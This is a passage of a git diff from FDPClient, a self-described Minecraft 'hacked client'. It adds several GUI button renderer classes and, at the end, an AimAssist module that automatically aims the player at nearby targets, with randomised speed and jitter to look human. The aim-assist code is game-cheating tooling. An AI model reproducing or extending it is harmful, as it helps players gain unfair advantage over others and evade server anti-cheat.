button.xPosition, button.yPosition, button.width, button.height) } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BetterButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BetterButtonRenderer.kt new file mode 100644 index 0000000..273f502 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/BetterButtonRenderer.kt @@ -0,0 +1,139 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.EaseUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.renderer.GlStateManager +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class BetterButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + + private var animation = 0.0 + private var lastUpdate = System.currentTimeMillis() + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + val time = System.currentTimeMillis() + val pct = (time - lastUpdate) / 500.0 + if (button.visible) { + GL11.glPushMatrix() + //val fontrenderer: UnicodeFontRenderer = Client.instance.fontMgr.wqy18 + //mc.getTextureManager().bindTexture(buttonTextures); + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f) + button.hovered = + mouseX >= button.xPosition && mouseY >= button.yPosition && mouseX < button.xPosition + button.width && mouseY < button.yPosition + button.height + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + GlStateManager.blendFunc(770, 771) + //button.drawTexturedModalRect(button.xPosition, button.yPosition, 0, 46 + i * 20, button.width / 2, button.height); + //button.drawTexturedModalRect(button.xPosition + button.width / 2, button.yPosition, 200 - button.width / 2, 46 + i * 20, button.width / 2, button.height); + //button.mouseDragged(mc, mouseX, mouseY) + //BlurUtil.doBlur(0); + //BlurUtil.blurAreaBoarder(button.xPosition, button.yPosition, button.width, button.height, 1f) + + val percent = EaseUtils.easeInOutQuad(animation) + val al=if(140 + ((percent*50).toInt()) in 1..254) 140 + ((percent*50).toInt()) else 140; + RenderUtils.drawRoundedCornerRect( + button.xPosition.toFloat(), + button.yPosition.toFloat(), + button.xPosition.toFloat() + button.width.toFloat(), + button.yPosition.toFloat() + button.height.toFloat(), + 2F, + Color(0, 0, 0, al).rgb + ) + //ClientUtils.displayChatMessage(percent.toString()) + lastUpdate = time + if (!button.enabled) { + RenderUtils.drawRoundedCornerRect( + button.xPosition.toFloat(), button.yPosition.toFloat(), + button.xPosition.toFloat() + button.width.toFloat(), button.yPosition.toFloat() + button.height.toFloat(), + 2F, Color(100, 100, 100, 180).rgb + ) + } else if (button.hovered) { + + if (animation < 1) { + animation += pct + } + if (animation > 1) { + animation = 1.0 + } + //System.out.println(aFade); + RenderUtils.drawGradientSidewaysV( + button.xPosition - 0.5, button.yPosition - 5.0, button.xPosition + button.width + 0.5, + button.yPosition.toDouble(), Color(20, 20, 20, 0).rgb, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + ) + RenderUtils.drawGradientSidewaysH( + button.xPosition - 5.0, + button.yPosition - 0.5, + button.xPosition.toDouble(), + button.yPosition + button.height + 0.5, + Color(20, 20, 20, 0).rgb, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + ) + RenderUtils.drawGradientSidewaysV( + button.xPosition - 0.5, + button.yPosition + button.height.toDouble(), + button.xPosition + button.width + 0.5, + button.yPosition + button.height + 5.0, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + Color(20, 20, 20, 0).rgb + ) + RenderUtils.drawGradientSidewaysH( + button.xPosition + button.width.toDouble(), + button.yPosition - 0.5, + button.xPosition + button.width + 5.0, + button.yPosition + button.height + 0.5, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + Color(20, 20, 20, 0).rgb + ) + //RenderUtil.drawRoundRect(button.xPosition, button.yPosition, (button.xPosition + button.width), (button.yPosition + button.height),2,new Color(255,255,255,180+((aFade-100))).getRGB()); + } else { + + if (animation > 0) { + animation -= pct + } + if (animation < 0) { + animation = 0.0 + } + RenderUtils.drawGradientSidewaysV( + button.xPosition - 0.5, button.yPosition - 5.0, button.xPosition + button.width + 0.5, + button.yPosition.toDouble(), Color(20, 20, 20, 0).rgb, Color(60, 60, 60, (20 * percent).toInt()).rgb + ) + RenderUtils.drawGradientSidewaysH( + button.xPosition - 5.0, + button.yPosition - 0.5, + button.xPosition.toDouble(), + button.yPosition + button.height + 0.5, + Color(20, 20, 20, 0).rgb, + Color(60, 60, 60, (20 * percent).toInt()).rgb + ) + RenderUtils.drawGradientSidewaysV( + button.xPosition - 0.5, + button.yPosition + button.height.toDouble(), + button.xPosition + button.width + 0.5, + button.yPosition + button.height + 5.0, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + Color(20, 20, 20, 0).rgb + ) + RenderUtils.drawGradientSidewaysH( + button.xPosition + button.width.toDouble(), + button.yPosition - 0.5, + button.xPosition + button.width + 5.0, + button.yPosition + button.height + 0.5, + Color(60, 60, 60, (20 * percent).toInt()).rgb, + Color(20, 20, 20, 0).rgb + ) + } + GL11.glPopMatrix() + if (UIEffects.buttonShadowValue.equals(true)) shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), button.yPosition.toFloat(), button.width.toFloat(), button.height.toFloat(), 240f) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FLineButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FLineButtonRenderer.kt new file mode 100644 index 0000000..a37fa6c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FLineButtonRenderer.kt @@ -0,0 +1,55 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.EaseUtils.easeInOutQuad +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color + +class FLineButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + + private var animation = 0.0 + private var lastUpdate = System.currentTimeMillis() + + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + val time = System.currentTimeMillis() + val pct = (time - lastUpdate) / 500.0 + + if (button.hovered) { + if (animation < 1) { + animation += pct + } + if (animation > 1) { + animation = 1.0 + } + } else { + if (animation > 0) { + animation -= pct + } + if (animation < 0) { + animation = 0.0 + } + } + + val percent = easeInOutQuad(animation) + RenderUtils.drawRect(button.xPosition.toFloat(), button.yPosition.toFloat(), (button.xPosition + button.width).toFloat(), (button.yPosition + button.height).toFloat(), Color(31, 31, 31, 150).rgb) + if (button.enabled) { + val half = button.width / 2.0 + val center = button.xPosition + half + RenderUtils.drawRect(center - percent * half, (button.yPosition + button.height - 1).toDouble(), center + percent * half, (button.yPosition + button.height).toDouble(), Color.WHITE.rgb) + } + + lastUpdate = time + + if (UIEffects.buttonShadowValue.equals(true)){ + shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), button.yPosition.toFloat(), button.width.toFloat(), button.height.toFloat(), 240f) + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FlatButtonRenderer.java b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FlatButtonRenderer.java new file mode 100644 index 0000000..8c1c1eb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/FlatButtonRenderer.java @@ -0,0 +1,191 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button; + +import net.ccbluex.liquidbounce.font.CFontRenderer; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.ccbluex.liquidbounce.utils.timer.MSTimer; +import net.minecraft.client.Minecraft; +import net.minecraft.client.audio.PositionedSoundRecord; +import net.minecraft.client.audio.SoundHandler; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.ResourceLocation; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class FlatButtonRenderer extends GuiButton { + private MSTimer time; + public String displayString; + public int id; + public boolean enabled; + public boolean visible; + protected boolean hovered; + private int color; + private float opacity; + private CFontRenderer font; + public boolean round; + public int rad; + + public FlatButtonRenderer(final int buttonId, final int x, final int y, final int widthIn, final int heightIn, final String buttonText, final int color) { + super(buttonId, x, y, 10, 12, buttonText); + this.time = new MSTimer(); + this.width = widthIn; + this.height = heightIn; + this.enabled = true; + this.visible = true; + this.id = buttonId; + this.xPosition = x; + this.yPosition = y; + this.displayString = buttonText; + this.color = color; + this.font = FontLoaders.F18; + } + + public FlatButtonRenderer(final int buttonId, final int x, final int y, final int scale, final String buttonText, final int color, boolean round) { + super(buttonId, x, y, 10, 12, buttonText); + this.time = new MSTimer(); + this.width = scale; + this.height = scale; + this.rad = scale; + this.enabled = true; + this.visible = true; + this.id = buttonId; + this.xPosition = x; + this.yPosition = y; + this.displayString = buttonText; + this.color = color; + this.round = round; + this.font = FontLoaders.F18; + } + + public FlatButtonRenderer(final int buttonId, final int x, final int y, final int scale, final String buttonText, final int color, boolean round, CFontRenderer font) { + super(buttonId, x, y, 10, 12, buttonText); + this.time = new MSTimer(); + this.width = scale; + this.height = scale; + this.rad = scale; + this.enabled = true; + this.visible = true; + this.id = buttonId; + this.xPosition = x; + this.yPosition = y; + this.displayString = buttonText; + this.color = color; + this.round = round; + this.font = font; + } + + public FlatButtonRenderer(final int buttonId, final int x, final int y, final int widthIn, final int heightIn, final String buttonText, final int color, final CFontRenderer font) { + super(buttonId, x, y, 10, 12, buttonText); + this.time = new MSTimer(); + this.width = widthIn; + this.height = heightIn; + this.enabled = true; + this.visible = true; + this.id = buttonId; + this.xPosition = x; + this.yPosition = y; + this.displayString = buttonText; + this.color = color; + this.font = font; + } + + @Override + protected int getHoverState(final boolean mouseOver) { + int i = 1; + if (!this.enabled) { + i = 0; + } + else if (mouseOver) { + i = 2; + } + return i; + } + + @Override + public void drawButton(final Minecraft mc, final int mouseX, final int mouseY) { + if (this.visible) { + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + this.hovered = (mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height); + final int var5 = this.getHoverState(this.hovered); + GlStateManager.enableBlend(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.blendFunc(770, 771); + if (!this.hovered) { + this.time.reset(); + this.opacity = 0.0f; + } + if (this.hovered) { + this.opacity += 0.5f; + if (this.opacity > 1.0f) { + this.opacity = 1.0f; + } + } + final float radius = this.height / 2.0f; + if(this.round) { + RenderUtils.drawFilledCircle(xPosition, yPosition, this.rad, this.color); + }else { + RenderUtils.drawRoundedCornerRect((int)(this.xPosition - this.opacity * 0.1f), this.yPosition - this.opacity, (int)(this.xPosition + this.width + this.opacity * 0.1f), this.yPosition + radius * 2.0f + this.opacity, 3, this.color); + } + GL11.glColor3f(2.55f, 2.55f, 2.55f); + this.mouseDragged(mc, mouseX, mouseY); + GL11.glPushMatrix(); + GL11.glPushAttrib(1048575); + GL11.glScaled(1.0, 1.0, 1.0); + final boolean var6 = true; + final float var7 = (float)this.font.getHeight(); + font.drawCenteredString(this.displayString, (float)(this.xPosition + this.width / 2)+2, this.yPosition + (this.height - this.font.getHeight()) / 2.0f + 6f,new Color(255,255,255).getRGB()); + GL11.glPopAttrib(); + GL11.glPopMatrix(); + } + } + + private Color darkerColor(final Color c, final int step) { + final int red = c.getRed(); + final int blue = c.getBlue(); + final int green = c.getGreen(); + if (red >= step) {} + if (blue >= step) {} + if (green >= step) {} + return c.darker(); + } + + @Override + public void mouseReleased(final int mouseX, final int mouseY) { + } + + @Override + public boolean mousePressed(final Minecraft mc, final int mouseX, final int mouseY) { + return this.enabled && this.visible && mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height; + } + + @Override + public boolean isMouseOver() { + return this.hovered; + } + + @Override + public void drawButtonForegroundLayer(final int mouseX, final int mouseY) { + } + + @Override + public void playPressSound(final SoundHandler soundHandlerIn) { + soundHandlerIn.playSound(PositionedSoundRecord.create(new ResourceLocation("gui.button.press"), 1.0f)); + } + + @Override + public int getButtonWidth() { + return this.width; + } + + @Override + public void setWidth(final int width) { + this.width = width; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/HyperiumButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/HyperiumButtonRenderer.kt new file mode 100644 index 0000000..c656389 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/HyperiumButtonRenderer.kt @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.renderer.GlStateManager +import java.awt.* +import kotlin.math.max +import kotlin.math.min + +class HyperiumButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + + var prevDeltaTime = 0 + if (prevDeltaTime == 0) prevDeltaTime = System.currentTimeMillis().toInt() + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F) + val hovered = button.hovered + val hoverInc = (System.currentTimeMillis().toInt() - prevDeltaTime) / 2 + var fading = 100 + fading = if (hovered) min(100, fading + hoverInc) else max(0, hoverInc - hoverInc) + RenderUtils.drawRect(button.xPosition.toFloat(), button.yPosition.toFloat(), button.xPosition.toFloat() + button.width.toFloat(), button.yPosition.toFloat() + button.height.toFloat(), Color(0, 0, 0, (100 - (fading / 2))).rgb) + if (UIEffects.buttonShadowValue.equals(true)) { shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), button.yPosition.toFloat(), button.width.toFloat(), button.height.toFloat(), 240f) } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBButtonRenderer.kt new file mode 100644 index 0000000..fa94c1d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBButtonRenderer.kt @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color + +class RGBButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + var index = 1 + var index2 = 10 + // RenderUtils.drawGradientSidewaysV( + RenderUtils.drawGradientSidewaysH(button.xPosition.toDouble(), button.yPosition.toDouble(), button.xPosition + button.width.toDouble(), button.yPosition + button.height.toDouble(), (if(button.hovered) { ColorUtils.hslRainbow( index + 1, indexOffset = 100 * 1) } else { Color(0, 0, 0, 255) }).rgb, (if(button.hovered) { ColorUtils.hslRainbow( index2 + 1, indexOffset = 100 * 1) } else { Color(0, 0, 0, 255) }).rgb) + RenderUtils.drawRect(button.xPosition.toFloat() + 1F , button.yPosition.toFloat() + 1, button.xPosition + button.width.toFloat() - 1, button.yPosition + button.height.toFloat() - 1, Color(0,0,0).rgb) + if (UIEffects.buttonShadowValue.equals(true)){ shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), button.yPosition.toFloat(), button.width.toFloat(), button.height.toFloat(), 240f) } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBRoundedButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBRoundedButtonRenderer.kt new file mode 100644 index 0000000..f6948ca --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RGBRoundedButtonRenderer.kt @@ -0,0 +1,22 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color +import kotlin.math.sqrt + +class RGBRoundedButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + var index = 1 + RenderUtils.drawRoundedCornerRect(button.xPosition.toFloat(), button.yPosition.toFloat(), button.xPosition + button.width.toFloat(), button.yPosition + button.height.toFloat(), sqrt((button.width * button.height).toDouble()).toFloat() * 0.1f, (if(button.hovered) { ColorUtils.hslRainbow( index + 1, indexOffset = 100 * 1) } else { Color(50, 50, 53, 250) }).rgb) + RenderUtils.drawRoundedCornerRect(button.xPosition.toFloat() + 1F , button.yPosition.toFloat() + 1, button.xPosition + button.width.toFloat() - 1, button.yPosition + button.height.toFloat() - 1, sqrt((button.width * button.height).toDouble()).toFloat() * 0.1f, Color(50,50,53).rgb) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RiseButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RiseButtonRenderer.kt new file mode 100644 index 0000000..69f8c56 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RiseButtonRenderer.kt @@ -0,0 +1,44 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class RiseButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + val startX = button.xPosition.toFloat() + val endX = button.xPosition + button.width.toFloat() + val endY = button.yPosition + button.height.toFloat() + RenderUtils.drawRect(startX, button.yPosition.toFloat(), endX, endY, + (if(button.hovered) { Color(60, 60, 60, 150) } else { Color(31, 31, 31, 150) }).rgb) + if (button.enabled) { + GL11.glEnable(3042) + GL11.glDisable(3553) + GL11.glBlendFunc(770, 771) + GL11.glEnable(2848) + GL11.glShadeModel(7425) + for (i in button.xPosition..button.xPosition + button.width step 1) { + RenderUtils.quickDrawGradientSidewaysH(i.toDouble(), endY - 1.0, i + 1.0, endY.toDouble(), + ColorUtils.hslRainbow(i, indexOffset = 10).rgb, ColorUtils.hslRainbow(i + 1, indexOffset = 10).rgb) + } + GL11.glEnable(3553) + GL11.glDisable(3042) + GL11.glDisable(2848) + GL11.glShadeModel(7424) + GL11.glColor4f(1f, 1f, 1f, 1f) + if (UIEffects.buttonShadowValue.equals(true)){ + shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), button.yPosition.toFloat(), button.width.toFloat(), button.height.toFloat(), 240f) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RoundedButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RoundedButtonRenderer.kt new file mode 100644 index 0000000..3418a57 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/RoundedButtonRenderer.kt @@ -0,0 +1,34 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.features.module.modules.client.UIEffects +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color +import kotlin.math.sqrt + +class RoundedButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + RenderUtils.drawRoundedCornerRect(button.xPosition.toFloat(), button.yPosition.toFloat(), + button.xPosition + button.width.toFloat(), button.yPosition + button.height.toFloat(), + sqrt((button.width * button.height).toDouble()).toFloat() * 0.1f, + (if (button.hovered) { + Color(60, 60, 60, 150) + } else { + Color(31, 31, 31, 150) + }).rgb) + if (UIEffects.buttonShadowValue.equals(true)) { + shadowRenderUtils.drawShadowWithCustomAlpha(button.xPosition.toFloat(), + button.yPosition.toFloat(), + button.width.toFloat(), + button.height.toFloat(), + 240f) + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/WolframButtonRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/WolframButtonRenderer.kt new file mode 100644 index 0000000..5f5ceb5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/client/button/WolframButtonRenderer.kt @@ -0,0 +1,53 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.client.button + +import net.ccbluex.liquidbounce.utils.render.EaseUtils.easeInOutQuad +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shadowRenderUtils +import net.ccbluex.liquidbounce.font.FontLoaders +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.GuiButton +import java.awt.Color + +class WolframButtonRenderer(button: GuiButton) : AbstractButtonRenderer(button) { + + private var animation = 0.0 + private var lastUpdate = System.currentTimeMillis() + + override fun render(mouseX: Int, mouseY: Int, mc: Minecraft) { + val time = System.currentTimeMillis() + val pct = (time - lastUpdate) / 500.0 + + if (button.hovered) { + if (animation < 1) { + animation += pct + } + if (animation > 1) { + animation = 1.0 + } + } else { + if (animation > 0) { + animation -= pct + } + if (animation < 0) { + animation = 0.0 + } + } + val percent = easeInOutQuad(animation) + if (button.enabled) { + val half = FontLoaders.F18.DisplayFontWidths(FontLoaders.F18,button.displayString) / 2.0 + val center = button.xPosition + (button.width / 2.0) + RenderUtils.drawRect( + center - percent * half, + (button.yPosition + button.height - 1).toDouble(), + center + percent * half, + (button.yPosition + button.height).toDouble(), + Color.WHITE.rgb) + } + lastUpdate = time + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimassist.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimassist.kt new file mode 100644 index 0000000..6c9803b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/combat/Aimassist.kt @@ -0,0 +1,143 @@ +package net.ccbluex.liquidbounce.features.module.modules.combat + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.Render3DEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.EntityUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.utils.extensions.getDistanceToEntityBox +import net.ccbluex.liquidbounce.utils.misc.RandomUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.utils.LocationCache +import kotlin.random.Random + +@ModuleInfo(name = "AimAssist", category = ModuleCategory.COMBAT) +class AimAssist : Module() { + + private val rangeValue = FloatValue("Range", 4.4F, 1F, 8F) + private val playerPredictValue = FloatValue("PlayerPredictAmount", 1.2f, -2f, 3f) + private val opPredictValue = FloatValue("TargetPredictAmount", 1.5f, -2f, 3f) + private val centerSpeed = FloatValue("CenterSpeed", 10F, 1F, 100F) + private val centerRandom = FloatValue("CenterRandomRange", 1.0F, 0F, 15F) + private val edgeSpeed = FloatValue("EdgeSpeed", 20F, 1F, 100F) + private val edgeRandom = FloatValue("EdgeRandomRange", 1.0F, 0F, 15F) + private val onTargetSlowdown = BoolValue("OnTargetSlowdown", true) + private val slowdownAmount = FloatValue("SlowDownAmount", 0.5f, 0.1f, 0.7f).displayable { onTargetSlowdown.get() } + private val fovValue = FloatValue("FOV", 180F, 1F, 180F) + private val onClickValue = BoolValue("OnClick", false) + private val onClickDurationValue = IntegerValue("OnClickDuration", 500, 100, 1000).displayable { onClickValue.get() } + private val jitterValue = BoolValue("Jitter", false) + private val randomJitterValue = FloatValue("JitterRandomRate", 1.0F, 0F, 5.0F).displayable { jitterValue.get() } + + private val clickTimer = MSTimer() + + private var oldMouse = Rotation(0f, 0f) + private var newMouse = Rotation(0f, 0f) + + private var playerRot = Rotation(0f, 0f) + private var targetRot = Rotation(0f, 0f) + + private var onTarget = false + private var mouseSpeed = 0f + private var rotDiff = 0f + + + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (mc.gameSettings.keyBindAttack.isKeyDown) { + clickTimer.reset() + } + + oldMouse = newMouse + newMouse = Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + + if (onClickValue.get() && clickTimer.hasTimePassed(onClickDurationValue.get().toLong())) { + return + } + + val range = rangeValue.get() + val entity = mc.theWorld.loadedEntityList + .filter { + EntityUtils.isSelected(it, true) && mc.thePlayer.canEntityBeSeen(it) && + mc.thePlayer.getDistanceToEntityBox(it) <= range && RotationUtils.getRotationDifference(it) <= fovValue.get() + } + .minByOrNull { RotationUtils.getRotationDifference(it) } ?: return + + entity.entityBoundingBox.offset((entity.posX - entity.lastTickPosX) * opPredictValue.get(), + (entity.posY - entity.lastTickPosY) * opPredictValue.get(), + (entity.posZ - entity.lastTickPosZ) * opPredictValue.get()) + entity.entityBoundingBox.offset(mc.thePlayer.motionX * -1f * playerPredictValue.get(), + mc.thePlayer.motionY * -1f * playerPredictValue.get(), + mc.thePlayer.motionX * -1f * playerPredictValue.get()) + + + mouseSpeed = RotationUtils.getRotationDifference(oldMouse, newMouse).toFloat() + onTarget = RotationUtils.isFaced(entity, range.toDouble()) + + // on target slowdown + if (onTarget) { + val rotationSlowdown = RotationUtils.limitAngleChange( + newMouse, oldMouse, mouseSpeed * slowdownAmount.get() + ) + rotationSlowdown.toPlayer(mc.thePlayer) + } + + targetRot = RotationUtils.toRotation(RotationUtils.getCenter(entity.entityBoundingBox), true) + if (RotationUtils.getRotationDifference(oldMouse, targetRot).toFloat() + < RotationUtils.getRotationDifference(newMouse, targetRot).toFloat() ) { + return + } + + + // center rotation + playerRot = Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch) + targetRot = RotationUtils.toRotation(RotationUtils.getCenter(entity.entityBoundingBox), true) + rotDiff = RotationUtils.getRotationDifference(playerRot, targetRot).toFloat() + + val rotationCenter = RotationUtils.limitAngleChange( + playerRot, targetRot, + (mouseSpeed / rotDiff) * mouseSpeed * (centerSpeed.get() + (centerRandom.get() * Math.random() * 0.5f)).toFloat() * 0.1f + ) + + rotationCenter.toPlayer(mc.thePlayer) + + //edge rotation + if (!onTarget) { + targetRot = RotationUtils.searchCenter(entity.entityBoundingBox, false, false, true, false)!!.rotation + rotDiff = RotationUtils.getRotationDifference(playerRot, targetRot).toFloat() + + val rotationEdge = RotationUtils.limitAngleChange( + playerRot, targetRot, + (mouseSpeed / rotDiff) * mouseSpeed * (edgeSpeed.get() + (edgeRandom.get() * Math.random() * 0.5f)).toFloat() * 0.1f + ) + + rotationEdge.toPlayer(mc.thePlayer) + } + + if (jitterValue.get()) { + val yaw = Random.nextBoolean() + val pitch = Random.nextBoolean() + val yawNegative = Random.nextBoolean() + val pitchNegative = Random.nextBoolean() + + if (yaw) { + mc.thePlayer.rotationYaw += if (yawNegative) 